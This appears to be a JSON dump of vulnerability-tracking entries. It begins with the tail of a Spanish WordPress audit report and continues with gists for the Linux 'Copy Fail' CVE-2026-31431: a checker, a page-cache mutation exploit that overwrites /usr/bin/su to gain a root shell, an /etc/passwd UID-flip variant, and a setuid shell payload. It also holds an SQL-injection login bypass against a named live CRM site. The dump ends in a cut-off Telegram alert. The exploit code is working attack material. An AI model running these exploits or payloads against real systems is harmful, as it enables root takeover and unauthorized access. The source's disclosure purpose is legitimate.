p\u00e1gina Client Portal\n# Generar nonce en el lado cliente (JS) tras autenticaci\u00f3n\n      \n    \n\n    \n    \n\n      \n\n        M-01\n        Medio\n        Versiones desactualizadas \u2014 WordPress 7.0 / Elementor 4.0.2 / Apache 2.4.66\n      \n      \n\n        \nDescripci\u00f3n\n        \nElementor 4.0.2 es vulnerable a CVE-2026-6127 (parcheado en 4.0.5). Apache 2.4.66 es vulnerable a CVE-2026-23918 (RCE HTTP/2) y CVE-2026-24072 (read bypass via htaccess), ambos parcheados en 2.4.67. El meta generator expone versiones exactas.\n        \nRemediaci\u00f3n\n        \n# Actualizar Elementor: wp plugin update elementor\n# Actualizar Apache: apt-get upgrade apache2\n# Eliminar generator meta:\nremove_action('wp_head', 'wp_generator');\n# Eliminar readme.html y license.txt del webroot\n      \n    \n\n    \n    \n\n      \n\n        M-02\n        Medio\n        Email de usuario deducible por reverse Gravatar SHA-256\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas URLs de avatar Gravatar incluyen el hash SHA-256 del email normalizado del usuario. El email de la cuenta prueba (prueba@gmail.com) fue deducido probando candidatos comunes contra el hash expuesto p\u00fablicamente en GET /wp/v2/users/2.\n        \nPoC\n        \nimport hashlib\nhash_target = \"913ef45dd4e1f647359a846bca8bffb8d25b22f2a79d34d71c9c90ef0eb53024\"\nfor email in [\"prueba@gmail.com\", ...]:\n    if hashlib.sha256(email.encode()).hexdigest() == hash_target:\n        print(\"MATCH:\", email)\n# MATCH: prueba@gmail.com\n        \nRemediaci\u00f3n\n        \n# Desactivar Gravatar en WordPress (usar avatar local)\n# O usar un email que no sea predecible para cuentas sensibles\n      \n    \n\n    \n    \n\n      \n\n        M-03\n        Medio\n        Recuperaci\u00f3n de contrase\u00f1a rota + oracle de usuario\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl formulario de recuperaci\u00f3n de contrase\u00f1a falla con el error \u00abno se pudo enviar el correo electr\u00f3nico\u00bb para usuarios v\u00e1lidos, y \u00abno hay ninguna cuenta\u00bb para usuarios inexistentes. Esto act\u00faa como or\u00e1culo de enumeraci\u00f3n. Adem\u00e1s, el correo no se env\u00eda, por lo que el reset es inoperable \u2014 impacto en disponibilidad y posible vector de host-header injection si se configura SMTP en el futuro.\n        \nRemediaci\u00f3n\n        \n# 1. Configurar SMTP (WP Mail SMTP o Mailgun)\n# 2. Unificar mensaje de error (no revelar si usuario existe)\n# 3. Fijar siteurl y home en wp-config.php para prevenir host-header injection\ndefine('WP_SITEURL', 'https://www.columtech.online');\ndefine('WP_HOME', 'https://www.columtech.online');\n      \n    \n\n    \n    \n\n      \n\n        M-04\n        Medio\n        wp-cron.php accesible p\u00fablicamente\n      \n      \n\n        \nDescripci\u00f3n\n        \nwp-cron.php devuelve HTTP 200 y puede ser llamado externamente. Permite amplificar la carga del servidor llam\u00e1ndolo en bucle, actuando como vector de DoS.\n        \nRemediaci\u00f3n\n        \n# En wp-config.php:\ndefine('DISABLE_WP_CRON', true);\n# En crontab del servidor:\n*/5 * * * * curl -s https://www.columtech.online/wp-cron.php?doing_wp_cron=1 >/dev/null\n      \n    \n\n    \n    \n\n      \n\n        L-01\n        Bajo\n        Cabeceras de seguridad HTTP ausentes\n      \n      \n\n        \nDescripci\u00f3n\n        \nFaltan Strict-Transport-Security (HSTS), X-Content-Type-Options: nosniff y Permissions-Policy. La CSP solo cubre frame-ancestors 'self'.\n        \nRemediaci\u00f3n\n        \n# En Caddy (Caddyfile):\nheader Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\"\nheader X-Content-Type-Options \"nosniff\"\nheader Permissions-Policy \"geolocation=(), microphone=(), camera=()\"\n      \n    \n\n    \n    \n\n      \n\n        L-02\n        Bajo\n        Divulgaci\u00f3n de origen Apache y versi\u00f3n en p\u00e1ginas 404\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas p\u00e1ginas 404 generadas por Apache revelan: Apache/2.4.66 (Debian) Server at www.columtech.online Port 80 \u2014 versi\u00f3n exacta, distribuci\u00f3n y que escucha en puerto 80 sin TLS.\n        \nRemediaci\u00f3n\n        \n# En apache2.conf:\nServerTokens Prod\nServerSignature Off\n      \n    \n\n    \n    \n\n      \n\n        L-03\n        Bajo\n        readme.html accesible \u2014 divulgaci\u00f3n de versi\u00f3n WordPress\n      \n      \n\n        \nDescripci\u00f3n\n        \n/readme.html devuelve HTTP 200 y revela la versi\u00f3n exacta de WordPress. Facilita targeting con CVEs de versi\u00f3n espec\u00edfica.\n        \nRemediaci\u00f3n\n        \nrm /var/www/html/readme.html /var/www/html/license.txt\n      \n    \n\n    \n    \n\n      \n\n        L-04\n        Bajo\n        CVE-2026-24072 Apache 2.4.66 \u2014 htaccess mod_rewrite file read\n      \n      \n\n        \nDescripci\u00f3n\n        \nApache 2.4.66 es vulnerable a CVE-2026-24072: un usuario con acceso de escritura a .htaccess puede leer ficheros fuera de su directorio con los privilegios del proceso httpd. En este caso, www-data ya tiene ese acceso, pero el vector es relevante en escenarios multiusuario.\n        \nRemediaci\u00f3n\n        \n# Actualizar Apache a 2.4.67+\napt-get upgrade apache2\n      \n    \n\n    \n    \n\n      \n\n        I-01\n        Info\n        Hardening de contenedor Docker \u2014 seccomp + AppArmor + ptrace_scope=3\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl contenedor Docker presenta un perfil de hardening excepcional que bloque\u00f3 todos los CVEs de escalada de privilegios probados (12 t\u00e9cnicas distintas). Los syscalls AF_ALG, CLONE_NEWUSER, io_uring_setup y pidfd_getfd est\u00e1n bloqueados por seccomp. AppArmor docker-default bloquea escrituras a ficheros de sistema. ptrace_scope=3 impide toda inspecci\u00f3n de procesos. Este es el nivel de hardening correcto para workloads en producci\u00f3n.\n        \nCVEs probados y bloqueados\n        \nCVE-2026-31431 (Copy Fail)     \u2192 AF_ALG bloqueado por seccomp\nCVE-2026-43284 (Dirty Frag)    \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46300 (Fragnesia)     \u2192 CLONE_NEWUSER bloqueado\nCVE-2026-46333 (ssh-keysign)   \u2192 pidfd_getfd bloqueado\nio_uring exploits              \u2192 io_uring_setup bloqueado\nGameOver(lay)                  \u2192 CLONE_NEWUSER bloqueado\nCrackArmor                     \u2192 AppArmor FS inaccesible en container\nCVE-2026-27456 (mount TOCTOU)  \u2192 Sin /etc/fstab user,loop entries\ngpasswd shadow attack          \u2192 AppArmor bloquea escritura /etc/gshadow\n      \n    \n\n    \n    \n\n      \n\n        I-02\n        Info\n        Credenciales DB en texto claro en variables de entorno del container\n      \n      \n\n        \nDescripci\u00f3n\n        \nLas credenciales de MySQL est\u00e1n accesibles en texto claro v\u00eda /proc/self/environ para cualquier proceso del container (incluyendo www-data tras RCE):\n        \nWORDPRESS_DB_HOST=wordpress_db:3306\nWORDPRESS_DB_USER=wp_user\nWORDPRESS_DB_PASSWORD=wp_password\nWORDPRESS_DB_NAME=wordpress\n        \nRemediaci\u00f3n\n        \n# Usar Docker secrets en lugar de env vars para credenciales\n# O montar fichero de config encriptado desde un secrets manager\n      \n    \n\n    \n    \n\n      \n\n        I-03\n        Info\n        Kernel 6.8.0-117 vulnerable a CVE-2026-46333 (bloqueado por seccomp)\n      \n      \n\n        \nDescripci\u00f3n\n        \nEl kernel 6.8.0-117-generic (compilado el 5 Mayo 2026) es anterior al fix de CVE-2026-46333 (publicado el 14 Mayo 2026). La vulnerabilidad permite leer /etc/shadow mediante una race condition en __ptrace_may_access() + pidfd_getfd. El seccomp del container bloquea el syscall pidfd_getfd (438), mitigando completamente el exploit. Se verific\u00f3 que el exploit p\u00fablico fall\u00f3 con \u00abno hit in 500 rounds\u00bb.\n        \nRemediaci\u00f3n\n        \n# Actualizar el kernel del host cuando est\u00e9 disponible el parche\n# El seccomp profile actual ya protege contra este CVE\n      \n    \n\n  \n\n  \n\n    \nPlan de Remediaci\u00f3n \u00b7 Prioridad\n    \n\n      HOY (cr\u00edtico): Cambiar contrase\u00f1a de marce (m\u00ednimo 20 chars). Eliminar wp-loginizer.php, 2ops.php y todos los ficheros de auditor\u00eda del webroot. Desactivar XML-RPC. Eliminar plugin Code Snippets y el snippet malicioso.\n    \n    \n\n      Esta semana: Actualizar Elementor a \u2265 4.0.5 (parchea CVE-2026-6127). Actualizar Apache a 2.4.67 (parchea CVE-2026-23918 y CVE-2026-24072). Auditar todos los archivos PHP modificados en los \u00faltimos 90 d\u00edas. Configurar SMTP y unificar mensajes de error de wp-login. Restringir REST API users a autenticados. A\u00f1adir cabeceras de seguridad HTTP.\n    \n    \n\n      Este mes: Implementar 2FA para el panel de administraci\u00f3n. Migrar credenciales DB a Docker secrets. Configurar DISABLE_WP_CRON y cron real del sistema. Implementar WAF en Cloudflare para xmlrpc.php y ?author=. Eliminar readme.html y establecer ServerTokens Prod.\n    \n  \n\n  \n\n    \nAnexo \u00b7 Comandos de verificaci\u00f3n post-remediaci\u00f3n\n    \nEjecutar estos comandos tras aplicar las correcciones para confirmar que los vectores est\u00e1n cerrados:\n    \n# C-01: XML-RPC deshabilitado\ncurl -s -X POST https://columtech.online/xmlrpc.php | grep -c \"XML-RPC server accepts\"\n# Esperado: 0\n\n# C-02: Webshells eliminadas\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/wp-loginizer.php\n# Esperado: 404\n\n# H-03: REST users requiere autenticaci\u00f3n\ncurl -s https://columtech.online/index.php?rest_route=/wp/v2/users | jq '.code'\n# Esperado: \"rest_forbidden\"\n\n# H-03: ?author= no revela usuario\ncurl -s -o /dev/null -w \"%{redirect_url}\" \"https://columtech.online/?author=1\"\n# Esperado: vac\u00edo o URL sin slug de usuario\n\n# L-01: HSTS presente\ncurl -sI https://columtech.online/ | grep -i strict-transport\n# Esperado: Strict-Transport-Security: max-age=...\n\n# L-03: readme.html eliminado\ncurl -o /dev/null -w \"%{http_code}\" https://columtech.online/readme.html\n# Esperado: 404\n  \n\n\n\n\n\n  Auditor\u00eda realizada por c4sh3r \u00b7 Reporte generado el 2026-06-04\n  Todos los hallazgos fueron verificados en entorno real con autorizaci\u00f3n del propietario. Las pruebas de escritura (defacing, webshells) fueron limpiadas inmediatamente tras la verificaci\u00f3n. PII real redactada.\n\n\n\n\n", "creation_timestamp": "2026-06-03T23:46:41.000000Z"}, {"uuid": "eeea1d39-2102-4e2c-bf7f-42510e37beec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/e452783668ff5a7a3dc4cc036d3f9463", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431\n * Vulnerability checker.\n *\n * Detects whether the running kernel is susceptible to the AF_ALG/splice\n * page-cache mutation primitive used by exploit.c and exploit-passwd.c,\n * without touching any system file. Creates a local \"testfile\" in the\n * working directory containing the string \"init\", then runs the same\n * patch_chunk() primitive against its page cache to attempt to overwrite\n * the bytes with \"vulnerable\". Reads back to confirm whether the\n * mutation took.\n *\n * The on-disk inode is never modified; the testfile is removed on exit,\n * and the page-cache mutation evaporates with it. Runs unprivileged.\n *\n * Exit codes:\n *   100 - kernel is vulnerable\n *   0   - kernel is not vulnerable (primitive ran but mutation did not take)\n *   2   - AF_ALG socket family or authencesn template is unavailable;\n *         patch state cannot be determined from this test\n *   1   - other runtime error\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\nstatic const char PAYLOAD[] = \"vulnerable\";\n#define PAYLOAD_LEN (sizeof PAYLOAD - 1)\n\nstatic int check_file(const char *filename) {\n    int fd = open(filename, O_RDONLY);\n    if (fd < 0) return 0;\n    printf(\"content of %s fd=%d ---\\n\", filename, fd);\n    char buf[256];\n    ssize_t total = read(fd, buf, sizeof buf);\n    if (total > 0)\n        write(STDOUT_FILENO, buf, total);\n    close(fd);\n    printf(\"\\n---\\n\");\n    return total >= (ssize_t)PAYLOAD_LEN &&\n           memcmp(buf, PAYLOAD, PAYLOAD_LEN) == 0;\n}\n\nstatic void init_file(const char *filename) {\n    static const char init_buf[32] = \"init\";\n    int fd = open(filename, O_RDWR | O_CREAT | O_TRUNC, 0644);\n    if (fd < 0) {\n        fprintf(stderr, \"open(%s): %s\\n\", filename, strerror(errno));\n        exit(1);\n    }\n    write(fd, init_buf, sizeof init_buf);\n    close(fd);\n}\n\nint main(int argc, char **argv) {\n    (void)argc; (void)argv;\n    const char *target = \"testfile\";\n\n    init_file(target);\n    sync();\n    check_file(target);\n\n    int file_fd = open(target, O_RDONLY);\n    if (file_fd < 0) {\n        fprintf(stderr, \"open(%s): %s\\n\", target, strerror(errno));\n        unlink(target);\n        return 1;\n    }\n\n    size_t iters = (PAYLOAD_LEN + 3) / 4;\n\n    fprintf(stderr, \"[+] target:    %s\\n\", target);\n    fprintf(stderr, \"[+] payload:   %zu bytes (%zu iterations)\\n\",\n            PAYLOAD_LEN, iters);\n\n    /* Walk the payload in 4-byte windows. window[] is 5 bytes so the\n     * trailing zero acts as a NUL terminator for the %s log below. */\n    for (off_t off = 0; (size_t)off < PAYLOAD_LEN; off += 4) {\n        unsigned char window[5] = { 0, 0, 0, 0, 0 };\n        size_t take = (PAYLOAD_LEN - (size_t)off >= 4)\n                      ? 4 : PAYLOAD_LEN - (size_t)off;\n        memcpy(window, PAYLOAD + off, take);\n\n        fprintf(stderr, \"[+] patch fd=%d off=%lld bytes=\\\"%s\\\"\\n\",\n                file_fd, (long long)off, window);\n        if (patch_chunk(file_fd, off, window) < 0) {\n            int ret;\n            if (errno == EAFNOSUPPORT) {\n                fprintf(stderr,\n                        \"[?] AF_ALG socket family unavailable; kernel patch \"\n                        \"state cannot be determined from this test\\n\");\n                ret = 2;\n            } else if (errno == ENOENT) {\n                fprintf(stderr,\n                        \"[?] AF_ALG authencesn template not registered; \"\n                        \"kernel patch state cannot be determined from this \"\n                        \"test\\n\");\n                ret = 2;\n            } else {\n                fprintf(stderr, \"[-] patch_chunk failed at offset %lld\\n\",\n                        (long long)off);\n                ret = 1;\n            }\n\n            close(file_fd);\n            unlink(target);\n            return ret;\n        }\n        fprintf(stderr, \"[+] patch ok\\n\");\n    }\n\n    close(file_fd);\n\n    fprintf(stderr, \"[+] page cache mutated\\n\");\n\n    int vulnerable = check_file(target);\n    unlink(target);\n\n    if (vulnerable) {\n        fprintf(stderr, \"[!] VULNERABLE\\n\");\n        return 100;\n    }\n\n    fprintf(stderr, \"[+] not vulnerable :)\\n\");\n    return 0;\n}", "creation_timestamp": "2026-06-04T07:22:41.000000Z"}, {"uuid": "443a0012-c304-40bd-906e-b2279a829e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/f39604e6aca8dd619921a78875622691", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431\n * AF_ALG + splice() page-cache-mutation LPE proof-of-concept.\n *\n * Cross-platform C proof-of-concept by Tony Gies .\n *\n * Disclosed 2026-04-29 by Theori / Xint. Canonical writeup: https://copy.fail/\n *\n * Mechanism:\n *   For each 4-byte window of the embedded static-ELF payload (built from\n *   payload.c, embedded via `ld -r -b binary` -- see Makefile), runs one\n *   bogus AEAD-decrypt through AF_ALG whose ciphertext input is supplied\n *   via splice() from /usr/bin/su's page-cache pages. The authencesn\n *   template's in-place optimization treats the splice'd source pages as\n *   both ciphertext input and plaintext destination, so the (failing)\n *   decrypt has already overwritten 4 bytes of the page-cache page by\n *   the time auth verification rejects the request. Walking 4 bytes at\n *   a time across the payload deterministically writes the entire blob\n *   into the cached image of /usr/bin/su. execve() of the target loads\n *   the (mutated) cached pages; the unchanged on-disk inode is still\n *   setuid root, so the kernel hands the payload root creds; payload\n *   pivots into a real root shell.\n *\n * Affected kernels:\n *   floor:   torvalds/linux 72548b093ee3 (Aug 2017, 4.14, AF_ALG iov_iter\n *            rework that introduced the file-page write primitive)\n *   ceiling: torvalds/linux a664bf3d603d (Apr 2026, reverts the 2017\n *            algif_aead in-place optimization; separates src/dst\n *            scatterlists so page-cache pages can no longer be a writable\n *            crypto destination)\n *   in between: every Ubuntu, RHEL, SUSE, Amazon Linux, Debian etc.\n *   distro kernel that didn't backport the fix.\n *\n * Build: see Makefile. (`make` in this directory.)\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\n/* Symbols synthesized by `ld -r -b binary -o payload.o payload`. */\nextern const unsigned char _binary_payload_start[];\nextern const unsigned char _binary_payload_end[];\n#define PAYLOAD       (_binary_payload_start)\n#define PAYLOAD_LEN   ((size_t)(_binary_payload_end - _binary_payload_start))\n\nint main(int argc, char **argv) {\n    const char *target = (argc > 1) ? argv[1] : \"/usr/bin/su\";\n\n    int file_fd = open(target, O_RDONLY);\n    if (file_fd < 0) {\n        fprintf(stderr, \"open(%s): %s\\n\", target, strerror(errno));\n        return 1;\n    }\n\n    size_t len = PAYLOAD_LEN;\n    size_t iters = (len + 3) / 4;\n\n    fprintf(stderr, \"[+] target:    %s\\n\", target);\n    fprintf(stderr, \"[+] payload:   %zu bytes (%zu iterations)\\n\", len, iters);\n\n    /* Walk the embedded payload in 4-byte windows. Last window is zero-\n     * padded if PAYLOAD_LEN isn't a multiple of 4 (the extra bytes simply\n     * land past end-of-payload in the page-cache page; harmless). */\n    for (off_t off = 0; (size_t)off < len; off += 4) {\n        unsigned char window[4] = { 0, 0, 0, 0 };\n        size_t take = (len - (size_t)off >= 4) ? 4 : len - (size_t)off;\n        memcpy(window, PAYLOAD + off, take);\n\n        if (patch_chunk(file_fd, off, window) < 0) {\n            fprintf(stderr, \"patch_chunk failed at offset %lld\\n\",\n                    (long long)off);\n            return 1;\n        }\n    }\n\n    close(file_fd);\n\n    fprintf(stderr, \"[+] page cache mutated; exec'ing target\\n\");\n    execl(\"/bin/sh\", \"sh\", \"-c\", \"su\", (char *)NULL);\n    perror(\"execl\");\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:19:08.000000Z"}, {"uuid": "50f046f9-7d39-4209-af7a-ce35b111426d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/5a7493888e350d8c96772bff995cef0f", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431 -- /etc/passwd UID-flip variant.\n *\n * Mutates /etc/passwd's page cache to set the running user's UID field\n * to \"0000\", then execs `su `. PAM authenticates against\n * /etc/shadow (untouched) using the user's real password; on success,\n * su's setuid() reads the corrupted /etc/passwd from the page cache and\n * lands in a root shell.\n *\n * Compared to exploit.c (the binary-mutation variant), this works on\n * any system where /etc/passwd is world-readable (every standard Linux\n * system) including environments that harden setuid binaries against\n * unprivileged read access.\n *\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\n/* Find the byte offset of the UID field for `username` in /etc/passwd.\n * Returns -1 on error or if the user is not found. */\nstatic off_t find_uid_offset(const char *username) {\n    int fd = open(\"/etc/passwd\", O_RDONLY);\n    if (fd < 0) { perror(\"open(/etc/passwd)\"); return -1; }\n\n    char buf[65536];\n    ssize_t n = read(fd, buf, sizeof buf - 1);\n    close(fd);\n    if (n <= 0) { perror(\"read(/etc/passwd)\"); return -1; }\n    buf[n] = '\\0';\n\n    size_t namelen = strlen(username);\n    char *line = buf;\n    while (line < buf + n) {\n        char *eol = memchr(line, '\\n', (buf + n) - line);\n        size_t linelen = eol ? (size_t)(eol - line) : (size_t)((buf + n) - line);\n\n        if (linelen > namelen + 1 &&\n            memcmp(line, username, namelen) == 0 &&\n            line[namelen] == ':') {\n            /* line: name:x:UID:GID:gecos:home:shell */\n            char *colon1 = memchr(line,            ':', linelen);\n            if (!colon1) break;\n            char *colon2 = memchr(colon1 + 1, ':', linelen - (size_t)(colon1 + 1 - line));\n            if (!colon2) break;\n            return (off_t)((colon2 + 1) - buf);\n        }\n        if (!eol) break;\n        line = eol + 1;\n    }\n\n    fprintf(stderr, \"[-] could not find user %s in /etc/passwd\\n\", username);\n    return -1;\n}\n\nint main(void) {\n    uid_t uid = getuid();\n    struct passwd *pw = getpwuid(uid);\n    if (!pw) { perror(\"getpwuid\"); return 1; }\n\n    fprintf(stderr, \"[+] user:    %s (uid=%u)\\n\", pw->pw_name, uid);\n\n    off_t uid_offset = find_uid_offset(pw->pw_name);\n    if (uid_offset < 0) return 1;\n\n    fprintf(stderr, \"[+] /etc/passwd UID field at offset %lld\\n\",\n            (long long)uid_offset);\n\n\n    int fd = open(\"/etc/passwd\", O_RDONLY);\n    if (fd < 0) { perror(\"open(/etc/passwd)\"); return 1; }\n    \n    /* Read up to 10 digits starting at uid_offset to find the field length. */\n    char fieldbuf[12] = { 0 };\n    ssize_t nr = pread(fd, fieldbuf, sizeof fieldbuf - 1, uid_offset);\n    if (nr < 1) { perror(\"pread\"); close(fd); return 1; }\n\n    /* Find length of the existing UID field (up to next ':') */\n    int old_uid_len = 0;\n    while (old_uid_len < nr && fieldbuf[old_uid_len] != ':')\n        old_uid_len++;\n\n    if (old_uid_len == 0 || old_uid_len > 10) {\n        fprintf(stderr, \"[-] could not determine UID field length\\n\");\n        close(fd); return 1;\n    }\n\n    /* Left-pad old_uid_len.\n     * /etc/passwd allows leading zeros so 0000 is uid 0. */\n    char padded[11];\n    memset(padded, '0', old_uid_len);\n    padded[old_uid_len] = '\\0';\n\n    fprintf(stderr, \"[+] old field: \\\"%.*s\\\" (%d bytes), new field: \\\"%s\\\" (%d bytes)\\n\",\n            old_uid_len, fieldbuf, old_uid_len, padded, old_uid_len);\n\n    /* New sanity check: verify the existing field matches getuid() to avoid corrupting /etc/passwd */\n    char expected[11];\n    snprintf(expected, sizeof expected, \"%u\", uid);\n    int expected_len = (int)strlen(expected);\n    if (old_uid_len < expected_len ||\n        memcmp(fieldbuf + old_uid_len - expected_len, expected, expected_len) != 0) {\n        fprintf(stderr,\n                \"[-] sanity check failed: field \\\"%.*s\\\" doesn't end with \"\n                \"expected uid \\\"%s\\\"\\n\",\n                old_uid_len, fieldbuf, expected);\n        close(fd); return 1;\n    }\n    fprintf(stderr, \"[+] sanity check ok\\n\");\n\n    /* Patch in 4-byte chunks. Read-modify-write for the final chunk if partial */\n    for (int off = 0; off < old_uid_len; off += 4) {\n        unsigned char chunk[4];\n        int n = old_uid_len - off < 4 ? old_uid_len - off : 4;\n\n        if (n < 4 && pread(fd, chunk, 4, uid_offset + off) != 4) {\n            perror(\"pread on final chunk\");\n            close(fd); return 1;\n        }\n        memcpy(chunk, padded + off, n);\n\n        if (patch_chunk(fd, uid_offset + off, chunk) < 0) {\n            fprintf(stderr, \"[-] page-cache mutation failed at offset %lld\\n\",\n                    (long long)(uid_offset + off));\n            close(fd); return 1;\n        }\n    }\n\n    close(fd);\n\n    fprintf(stderr,\n            \"[+] /etc/passwd page cache mutated; %s's UID is now %s\\n\",\n            pw->pw_name, padded);\n    fprintf(stderr,\n            \"[+] attempting cashout via `su %s`\\n\", pw->pw_name);\n    fprintf(stderr,\n            \"[!] If su fails with \\\"Cannot determine your user name\\\"\\n\"\n            \"    (shadow-utils' caller-identity check), the page cache\\n\"\n            \"    mutation is still active. Pivot to another cashout\\n\"\n            \"    that consults /etc/passwd.\\n\");\n    fprintf(stderr,\n            \"[+] cleanup after testing (run as root):\\n\"\n            \"    echo 3 > /proc/sys/vm/drop_caches\\n\\n\");\n\n    execlp(\"su\", \"su\", pw->pw_name, (char *)NULL);\n    perror(\"execlp(su)\");\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:19:53.000000Z"}, {"uuid": "65efbe6d-61fa-48d2-8e56-b2c261050a2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/01d9eed1d55745f89a77a3cbee9144c9", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail (CVE-2026-31431) -- payload.\n *\n * Cross-platform C payload by Tony Gies .\n *\n * Cross-platform shellcode, built against the kernel's nolibc/ tiny libc.\n * payload.c is plain portable C; the per-arch syscall asm lives in\n * nolibc/arch-*.h. Supported architectures (per nolibc upstream): x86_64,\n * i386, arm, aarch64, riscv32/64, mips, ppc, s390x, loongarch, m68k, sh,\n * sparc.\n *\n * nolibc doesn't ship setuid/setgid wrappers, so we use its variadic\n * syscall() macro (nolibc/sys/syscall.h) with __NR_* constants from the\n * toolchain's . Still no embedded asm in this file.\n *\n * Runtime story: the dropper writes these bytes over the head of\n * /usr/bin/su's page-cache pages. su's on-disk inode keeps its setuid-\n * root bit, so on execve() the kernel grants effective uid 0 and then\n * loads *these* bytes from the cache as the program. main() converts\n * the ephemeral suid grant into a full root identity, then execs /bin/sh.\n *\n * Build: see Makefile. (`make` in this directory.)\n */\n\n#include \"nolibc/nolibc.h\"\n\n/* nolibc doesn't ship setuid/setgid wrappers (the kernel selftests it's\n * designed for don't need them). It does ship a portable variadic\n * syscall() macro (see nolibc/sys/syscall.h) and an execve(). The\n * __NR_* constants come from the toolchain's . */\n\nint main(void) {\n    char *argv[] = { \"sh\", (char *)NULL };\n    char *envp[] = { (char *)NULL };\n    syscall(__NR_setgid, 0);\n    syscall(__NR_setuid, 0);\n    execve(\"/bin/sh\", argv, envp);\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:21:57.000000Z"}, {"uuid": "693921a0-1a6b-42ac-98be-4001ab935e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31158", "type": "seen", "source": "https://gist.github.com/Hardik007007/65b9300fad060b129892728e04c6865e", "content": "# CVE-2026-31158: Unauthenticated Boolean-Based SQL Injection in CRM Login Functionality Leading to Authentication Bypass\n\n## Reporter Information\n\n**Reporter:** Hardik Kumar Kavar\n**LinkedIn:** https://www.linkedin.com/in/kavar-hardik-89294115a/\n**Organization:** Tribastion Technologies Private Limited\n**Website:** https://www.tribastion.com/\n\n## Vulnerability Title\n\nUnauthenticated Boolean-Based SQL Injection in Login Functionality Leading to Authentication Bypass\n\n## Affected Application\n\n**URL:** http://crm.softtradeindia.com/\n\n## Vulnerability Type\n\nSQL Injection (Boolean-Based)\nAuthentication Bypass\n\n## Affected Parameter\n\n* Parameter: TxtUsername\n* Input Field: USERNAME\n* HTTP Method: POST\n\n## Description\n\nA Boolean-Based SQL Injection vulnerability exists within the application's authentication mechanism. The vulnerability is caused by insufficient server-side input validation and the apparent use of dynamically constructed SQL queries without proper parameterization.\n\nAn unauthenticated attacker can inject crafted SQL payloads into the USERNAME field, causing the backend authentication query to evaluate attacker-controlled Boolean conditions. This behavior allows authentication controls to be bypassed and results in unauthorized access to the application without valid credentials.\n\n## Proof of Concept\n\n### Payload\n\n' or '1'='1\n\n### Reproduction Steps\n\n1. Navigate to the affected application:\n   http://crm.softtradeindia.com/\n\n2. Enter the following payload into the USERNAME field:\n\n   ' or '1'='1\n\n3. Select \"Login with Admin Then Tick\".\n\n4. Click the \"Login\" button.\n\n5. Observe that authentication is successfully bypassed and access is granted without valid credentials.\n\n## Impact\n\nSuccessful exploitation may allow an attacker to:\n\n* Bypass authentication controls.\n* Gain unauthorized access to application functionality.\n* Access sensitive information.\n* Impersonate legitimate users.\n* Access privileged or administrative functionality.\n* Modify, delete, or manipulate application data.\n* Further compromise the application and supporting infrastructure.\n\n## Security Risk\n\nHigh\n\nThe vulnerability is exploitable without authentication and directly impacts the confidentiality, integrity, and availability of application data.\n\n## Recommended Remediation\n\n* Implement parameterized queries (prepared statements).\n* Avoid dynamic SQL query construction.\n* Perform strict server-side input validation.\n* Implement centralized input sanitization.\n* Deploy a Web Application Firewall (WAF) where appropriate.\n* Conduct a secure code review of all authentication-related functionality.\n\n## Credit\n\nDiscovered and reported by Hardik Kumar Kavar of Tribastion Technologies Private Limited.\n", "creation_timestamp": "2026-06-04T11:17:39.000000Z"}, {"uuid": "aef80f67-0e53-4b34-bf53-75885348b67d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/87353", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zs1n\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-05 01:06:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for Copy-Fail Vulnerability - Python3 Version\n\n\ud83d\udd17 